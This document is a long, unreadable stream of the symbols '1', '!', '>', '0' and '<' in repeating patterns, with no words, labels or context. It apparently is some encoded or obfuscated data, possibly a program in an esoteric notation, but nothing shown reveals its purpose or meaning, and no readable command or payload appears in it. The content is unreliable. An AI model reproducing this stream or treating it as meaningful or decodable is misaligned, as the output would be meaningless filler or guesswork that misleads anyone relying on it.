!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>10110>10110>1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!10110>1!10110>1!1!1>0>1!1!1>0>1!1!1>0><>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>10110>10110>1!1!10110>1!1>0>1!1>0>1!1!1!10110>10110>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>10110>1!1>0>1!1!1>0>10110>10110>1!1>0>1>0>1!1!1!1>0>101101010111>01!1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>10110>1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!10110>10110>1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!10110>10110>1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>101101010111>01>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!10110>1!1!1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1>01010111>01!1>0>1>0>1!1>0>1>0>1!10110>1!1!1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1>01010111>01>0>1!1>0>1>0>1!1>0>10110><>1!1>0>1>0>1!1!1>0>1>0>1!<>1!1>0>1!1!1!1>0>1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1!<>1!1>01010111>01!1>0>1!1>0>10110>1!1!1!1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>10110>1!1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!10110>10110>1!1>0>1!1!1>01010111>01!1!10110>1!1!1!1>0>10110>10110>1!1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!<>1!1>0>10110>1!1>0>10110>1!1!1>0>10110>101101010111>01!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!10110>10110>1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>10110>1!1>01010111>01>0>1!1!1>0>1!10110>10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!10110>1!10110>1!1>0>1!1>0>1>0>101101010111>010110>1!1!1!1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1!1!10110>1!1!10110>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!10110>1!1!10110><>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>10110>1!1!1>0>10110>1!1!10110>1!1!1>0>1!10110>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!10110>1!10110>1!1!1>0>1>0>1!1>0>1!10110>1!1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!<>1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!10110>10110><>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0><>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1>0>1!1!1!1!1!1!10110>10110>1!<>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!10110>1!1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!10110>10110>10110>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>01010111>01>0>1!1!10110>1!1>0>1>0>10110>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!10110>10110>1!1!1>0>1>0>1!1>0>1!1!1!10110>1!1!1!1>0>1>0>1!1!10110>1!1!1!1!10110>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>10110>1!10110>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!10110>1!1!1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>10110>1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>01010111>01>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1>0>10110>1!1!1>0>1>01010111>010110>1!1!1!1>0>1>0>1!10110>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!10110>10110>1!1!1!1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!10110>10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>01010111>01!10110>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!<>1>0>1!1!1>0>10110>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0><>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1>0><>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!10110>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1!1!1!1!<>1!<1010111>01!1!1>0>1!1!1!1!1!1!1!<>1!1>01010111>01!<>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0><>1!1!1!1>0>10110>10110>10110>1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!<>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!<>1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1>01010111>01!1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!10110>1!1!1!1>0>10110>1!1!1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!10110>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0><>1!1!1!1!1>0><>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>01010111>01!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>010110>1!1>0><>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!<1010111>01!1!<>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!<>1>0>1!1!<>1>0>1!1!1!10110>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!<>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!<1010111>01!1!<>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!1!1!1!1!1!1!10110>1!<>1>0>1!1!1!1!1>01010111>01!1!<>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!<1010111>01!1!<>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!<>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0><>1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1!1>0>1>0>1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0><>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!<1010111>01!1!<>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!1!1!<>1!<>1>0>1!1!1!1!1>0>1>0>10110><>1!1>0>1!1!<>1!1>01010111>01!1!<>1!1!<1010111>01>0><>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1>01010111>01!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>10110>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!<>1!1!1!1!1>0><>1!1!1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!<>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110><>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0><>1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0><>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!10110>10110><>1>0>1!1!1>01010111>01!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1>0>1!1>0>1!<>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1!1>0>1!1>0>1>0>101101010111>01>0>1!1!1>0>1!<>1!1!<><>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>01010111>01!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>01010111>01>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!10110>1!1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!<>1!1>0>1!1>0>1!10110>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>01010111>01!1!1>0>1!1>0>1!1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>01010111>010110>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1!101101010111>01>0>1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>01010111>10111>01!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0>1>01010111>01!1>0>1>0>1!10110>1!1>0>10110>10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>10110>1!1!1!1>0>1!1!1!1>0>10110>1!1!1!1!1!1!10110>1!1!1>0>1>0>10110>10110>1!1>0>1!1>0>1!1>0>1>01010111>01>0>10110>10110>10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>01010111>01!1>0>1>0>1!1>0>1!1!1!1>0>1>01010111>01!1!1!1>0>1>0>10110>1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>10110>10110>1!10110>10110>1!1!10110>1!1!1>0>1!1>0>10110>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!101101010111>01!10110>1!1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>10110>10110>1!1!1!1!1!1!1!10110>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!10110>1!1!1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>10110>1!1!1>0>1!1!1!10110>1!1!1>0>10110>1!1!1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>10110>10110>10110>1!1!10110>1!1>0>1>0>1!1!1>0>1!<>1>0>1!10110>1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>10110>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1!10110>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>01010111>01!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>10110>10110>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>10110>1!1!10110>1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!101101010111>01!1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!10110>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>10110>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>01010111>01!1!1>0>1!1!1!1>0>1!1!1>0>101101010111>01>0>10110>1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1>0>10110><>1>0>1!1!1>0>10110>10110>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!10110>1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>10110>10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!10110>1!10110>1!1!10110>10110>1!1!1>0>1!1>0>1>01010111>01>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1!1!10110>1!1!1!1!1>0>1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!<>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>1!10110>10110>1!1!1>0>1!1!1>0>10110>10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>10110>10110>10110>1!1!1>0>1!10110>10110>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>10110>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!10110>10110>1!1!1>01010111>01!1!1!1!1!1!1!1!10110>1!1>0>1!1>0><>1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>10110>1!10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1!10110>1!1!1!1>0>1>0>10110>1!10110>1!1>0>1!1!1!1>0>1>0>10110>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!101101010111>01!10110>1!1>0>1!1>0>1>0>1!1!10110>1!<>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0><>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!10110>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!10110>10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>101101010111>01!1>0>1>0>10110>10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0><>1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1!10110>1!1!10110>1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>10110>1!1>0>1!1>0>101101010111>01>0>1!1!1>0>1>0>1!1>0>1>0>101101010111>01!1>0>10110>10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>10110>10110>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!10110>1!1!1!1!1!1!1!10110>1!1>0>1!1>0>10110>1!1!10110>1!1!10110>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!<>1>01010111>01>0>10110>1!1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>